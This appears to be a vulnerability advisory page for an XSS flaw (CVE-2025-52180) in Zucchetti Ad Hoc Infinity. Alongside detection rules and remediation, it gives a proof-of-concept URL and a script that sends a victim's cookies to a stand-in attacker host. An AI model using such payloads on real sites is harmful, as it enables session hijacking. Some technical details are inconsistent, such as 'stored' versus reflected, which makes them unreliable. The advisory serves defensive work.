CVE-2025-52180
Executive Summary
CVE-2025-52180 is a Stored Cross-Site Scripting (XSS) vulnerability in Zucchetti Ad Hoc Infinity version 4.2 and earlier. The flaw resides in the /ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource endpoint, where the pHtmlSource parameter is not properly sanitized before being rendered. An unauthenticated, remote attacker can inject arbitrary JavaScript code, which will execute in the context of the victim's browser when the crafted page is accessed.
This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 6.1 (Medium), with the vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, no privileges, but does require user interaction (the victim must click a link or visit a crafted page). The impact is limited to confidentiality and integrity loss (e.g., session hijacking, defacement, data theft) with no availability impact.
Note: This vulnerability is not related to a WordPress plugin or component; it is a standalone Java-based web application from Zucchetti.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 6.1 (Medium) |
Threat Level: Medium. While the vulnerability is easy to exploit and requires no authentication, the need for user interaction reduces the immediate risk. However, in a corporate environment, a single spear-phishing campaign could compromise multiple sessions.
Deep Dive & Mechanics
The vulnerability exists in the JSP file gsfr_feditorHTML.jsp. This page is used for editing HTML content (likely for report or form generation). The pHtmlSource parameter is taken directly from the HTTP request and embedded into the response without any encoding or validation.
Attack Flow:
- An attacker crafts a malicious URL:
https://target/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>alert('XSS')</script> - The attacker sends this link to a victim (e.g., via email or social engineering).
- The victim, authenticated to the Zucchetti application, clicks the link.
- The server returns the JSP page with the injected script embedded in the HTML.
- The victim's browser executes the script, which can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: The pHtmlSource parameter is not sanitized or encoded before being rendered. The application likely uses request.getParameter("pHtmlSource") and directly outputs it via <%= ... %> or similar JSP expression.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<%
String htmlSource = request.getParameter("pHtmlSource");
%>
<div>
<%= htmlSource %>
</div>
Patched Code (Conceptual):
<%@ page import="org.owasp.encoder.Encode" %>
<%
String htmlSource = request.getParameter("pHtmlSource");
%>
<div>
<%= Encode.forHtml(htmlSource) %>
</div>
The patched version uses an output encoding library (e.g., OWASP Java Encoder) to escape HTML special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of Zucchetti Ad Hoc Infinity 4.2 or earlier.
- Network access to the
/ahi/jsp/gsfr_feditorHTML.jspendpoint.
Proof-of-Concept (PoC):
<!-- Simple alert PoC -->
<a href="https://target/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>alert('XSS')</script>">Click me</a>
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + document.cookie;
</script>
URL Encoded Payload:
https://target/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests to
/ahi/jsp/gsfr_feditorHTML.jspwith suspiciouspHtmlSourceparameters containing<script>,onerror=,javascript:, etc. - Use WAF rules to block requests with HTML/script tags in the
pHtmlSourceparameter.
Hardening:
- Apply input validation: reject any
pHtmlSourceparameter containing HTML tags. - Implement output encoding using OWASP Java Encoder or similar.
- Upgrade to a patched version when available.
- Restrict access to the endpoint via network segmentation or authentication.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/ahi/jsp/gsfr_feditorHTML.jspwithpHtmlSourceparameter containing<script>,%3Cscript%3E, or other HTML/JavaScript constructs. - Outbound connections from the application server to attacker-controlled domains (e.g., for cookie exfiltration).
File IOCs:
- Modified JSP files (if attacker gains write access).
- Suspicious entries in web server access logs.
Log IOCs:
- Repeated 200 responses to
/ahi/jsp/gsfr_feditorHTML.jspwith unusual query strings. - User agent strings not matching typical browser patterns.
Detection Engineering
YARA Rule
rule CVE_2025_52180_XSS_Detection {
meta:
description = "Detects exploitation attempts of CVE-2025-52180 in Zucchetti Ad Hoc Infinity"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52180"
strings:
$xss_pattern1 = "pHtmlSource=" nocase
$xss_pattern2 = "<script" nocase
$xss_pattern3 = "onerror=" nocase
$xss_pattern4 = "javascript:" nocase
condition:
$xss_pattern1 and ($xss_pattern2 or $xss_pattern3 or $xss_pattern4)
}
Sigma Rule
title: CVE-2025-52180 XSS Attempt in Zucchetti Ad Hoc Infinity
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource='
cs-uri-query|contains|any:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML editing features (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-52180 Zucchetti Ad Hoc Infinity XSS Attempt"; flow:to_server,established; content:"/ahi/jsp/gsfr_feditorHTML.jsp"; http_uri; content:"pHtmlSource="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application if possible until a patch is applied.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>oronerror=in thepHtmlSourceparameter. - Restrict network access to the
/ahi/jsp/gsfr_feditorHTML.jspendpoint to only trusted IPs.
Long-Term Fix:
- Apply input validation and output encoding as shown in the patched code example.
- Upgrade to a patched version when Zucchetti releases one.
- Conduct a security audit of all JSP files for similar injection vulnerabilities.
Workaround:
- If patching is not possible, remove or disable the
gsfr_feditorHTML.jspfile entirely (if the feature is not critical).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.